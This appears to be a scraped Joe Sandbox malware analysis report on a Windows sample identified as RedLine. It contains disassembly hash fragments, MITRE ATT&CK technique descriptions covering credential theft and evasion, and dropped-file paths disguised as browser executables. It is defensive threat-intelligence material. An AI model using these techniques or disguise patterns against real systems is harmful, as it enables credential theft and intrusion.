Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 0820afe1cf76078d584808b710687c4abc637131e2d4a4fc2351118ea3fed728
Instruction ID: d19791356bd2716be135c860677d815678eff83fd3e4d3596bdf4832979f4f8c
Opcode Fuzzy Hash: 0820afe1cf76078d584808b710687c4abc637131e2d4a4fc2351118ea3fed728
Instruction Fuzzy Hash: B0317073A182028AE794DF35E81466933A1FB54B6DF588235CE2DCA3C8EF38D684C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D9120 Relevance: 5.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,00007FF6FC4D9749), ref: 00007FF6FC4D9146
LeaveCriticalSection.KERNEL32(?,00007FF6FC4D9749,?,?,?,?,?,?,?,?,?,?,?,00007FF6FC781400,?), ref: 00007FF6FC4D916B
EnterCriticalSection.KERNEL32(?,00007FF6FC4D9749,?,?,?,?,?,?,?,?,?,?,?,00007FF6FC781400,?), ref: 00007FF6FC4D919C
LeaveCriticalSection.KERNEL32(?,00007FF6FC4D9749,?,?,?,?,?,?,?,?,?,?,?,00007FF6FC781400,?), ref: 00007FF6FC4D91A6

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 1d3946a3044cc18cb778b92247febb096362daa03944763a571c42cbc9225e9a
Instruction ID: 4027fa6d6dfbf6585086ae59aa29d8dd2b637eb341c9f88cc55375508f5e6121
Opcode Fuzzy Hash: 1d3946a3044cc18cb778b92247febb096362daa03944763a571c42cbc9225e9a
Instruction Fuzzy Hash: D501F222B0864699E715EB23BC04A2E2750BF98FEDF851031DE2E87390DD3DE9468340

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cfBJlHsOsz.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Operating System Destruction

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Operating System Destruction

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_cfBJlHsOsz.exe_1ec711dc3d44814b2867c4cd04064cfbeaf377d_ebe17165_0ed36ae3\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B16.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4C9E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4D3B.tmp.xml

C:\Users\user\AppData\Local\Google\brave.exe

C:\Users\user\AppData\Local\Google\chrome.exe

C:\Users\user\AppData\Local\Google\ofg.exe

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Windows Analysis Report
cfBJlHsOsz.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre